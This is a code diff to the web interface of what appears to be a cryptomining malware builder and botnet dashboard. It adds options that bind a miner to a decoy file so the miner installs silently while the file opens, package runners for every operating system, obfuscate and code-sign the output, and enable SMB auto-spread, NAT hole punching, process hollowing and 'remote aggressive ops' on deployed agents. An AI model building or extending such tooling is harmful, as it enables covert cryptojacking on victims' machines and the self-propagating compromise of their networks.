<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
|
||||
<select className="select" value={form.fusion_run_order}
|
||||
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||||
<option value="parallel">Parallel (both at once)</option>
|
||||
<option value="prep_first">Prep first, then worker</option>
|
||||
<option value="worker_first">Worker first, then prep</option>
|
||||
<option value="parallel">Parallel — file opens and miner installs at the same time</option>
|
||||
<option value="prep_first">File first — open file, then install miner</option>
|
||||
<option value="worker_first">Miner first — install silently, then open file</option>
|
||||
</select>
|
||||
<FieldHint field="fusion_run_order" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
|
||||
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
|
||||
<input type="text" className="input mono" value={form.fusion_output_name}
|
||||
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||||
<FieldHint field="fusion_output_name" />
|
||||
@@ -1297,10 +1541,10 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
@@ -1342,6 +1586,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
@@ -1351,21 +1596,25 @@ export default function BuilderPage() {
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
disabled={fieldMeta.obfuscate?.disabled}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
<ForgeLockedHint meta={fieldMeta.obfuscate} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
disabled={fieldMeta.sign_build?.disabled}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
<ForgeLockedHint meta={fieldMeta.sign_build} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1373,13 +1622,13 @@ export default function BuilderPage() {
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
|
||||
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
|
||||
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
|
||||
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
|
||||
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="ai_enabled" />
|
||||
</div>
|
||||
@@ -1429,11 +1678,41 @@ export default function BuilderPage() {
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||||
onChange={(e) => updateField('auto_spread', e.target.checked)} />
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable Auto-Spread?\n\n' +
|
||||
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
|
||||
'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
|
||||
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
|
||||
)) return;
|
||||
updateField('auto_spread', checked);
|
||||
}} />
|
||||
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||||
</label>
|
||||
{form.auto_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
|
||||
onChange={(e) => updateField('hole_punch', e.target.checked)} />
|
||||
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
|
||||
</label>
|
||||
<FieldHint field="hole_punch" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
|
||||
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
|
||||
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
|
||||
</label>
|
||||
<FieldHint field="remote_aggressive" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
@@ -1471,7 +1750,7 @@ export default function BuilderPage() {
|
||||
<div className="card recent-builds">
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Run this once on each Windows machine:</strong></p>
|
||||
<p><strong>Deploy to each machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
|
||||
@@ -21,7 +21,6 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
@@ -309,6 +308,11 @@ export default function DashboardPage() {
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
@@ -1125,6 +1125,42 @@
|
||||
color: var(--neon-amber);
|
||||
}
|
||||
|
||||
/* Inline input validation states */
|
||||
.input.input-warn {
|
||||
border-color: var(--neon-amber, #fbbf24) !important;
|
||||
box-shadow: 0 0 0 2px rgba(251, 191, 36, 0.25);
|
||||
}
|
||||
.input.input-error {
|
||||
border-color: var(--neon-red, #ef4444) !important;
|
||||
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.25);
|
||||
}
|
||||
|
||||
button.deliverable-card {
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
color: inherit;
|
||||
font: inherit;
|
||||
transition: border-color 0.15s, background 0.15s;
|
||||
}
|
||||
|
||||
button.deliverable-card:hover {
|
||||
border-color: rgba(251, 191, 36, 0.35);
|
||||
background: rgba(251, 191, 36, 0.06);
|
||||
}
|
||||
|
||||
button.deliverable-card.deliverable-active {
|
||||
border-color: var(--neon-amber);
|
||||
background: rgba(251, 191, 36, 0.12);
|
||||
box-shadow: 0 0 12px rgba(251, 191, 36, 0.15);
|
||||
}
|
||||
|
||||
button.deliverable-card .form-hint {
|
||||
display: block;
|
||||
margin-top: 0.35rem;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.forge-live-notices {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.75rem 1rem;
|
||||
|
||||
@@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
const result = { ...base } as T;
|
||||
for (const key in override) {
|
||||
const val = override[key];
|
||||
const baseVal = base[key];
|
||||
if (
|
||||
val !== null &&
|
||||
val !== undefined &&
|
||||
typeof val === 'object' &&
|
||||
!Array.isArray(val) &&
|
||||
typeof baseVal === 'object' &&
|
||||
baseVal !== null &&
|
||||
!Array.isArray(baseVal)
|
||||
) {
|
||||
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
|
||||
} else if (val !== undefined) {
|
||||
result[key] = val as T[typeof key];
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
export default function SettingsPage() {
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
@@ -98,7 +121,9 @@ export default function SettingsPage() {
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
|
||||
// wipe unrelated nested sections like "default_agent" or "mining".
|
||||
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
|
||||
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
|
||||
} catch {
|
||||
setSaveMessage('Invalid JSON file.');
|
||||
|
||||
@@ -20,6 +20,19 @@ export interface Agent {
|
||||
uptime_seconds: number;
|
||||
notes?: string;
|
||||
tags?: string[];
|
||||
platform?: string;
|
||||
arch?: string;
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
}
|
||||
|
||||
export interface AgentCapabilities {
|
||||
hole_punch: boolean;
|
||||
remote_aggressive: boolean;
|
||||
mesh_p2p: boolean;
|
||||
auto_spread: boolean;
|
||||
process_hollowing: boolean;
|
||||
ai_enabled: boolean;
|
||||
}
|
||||
|
||||
export interface Share {
|
||||
@@ -255,6 +268,11 @@ export interface BuildRequest {
|
||||
process_hollowing?: boolean;
|
||||
mesh_p2p?: boolean;
|
||||
auto_spread?: boolean;
|
||||
hole_punch?: boolean;
|
||||
remote_aggressive?: boolean;
|
||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
||||
target_arch?: string;
|
||||
spread_kit?: boolean;
|
||||
obfuscate?: boolean;
|
||||
sign_build?: boolean;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user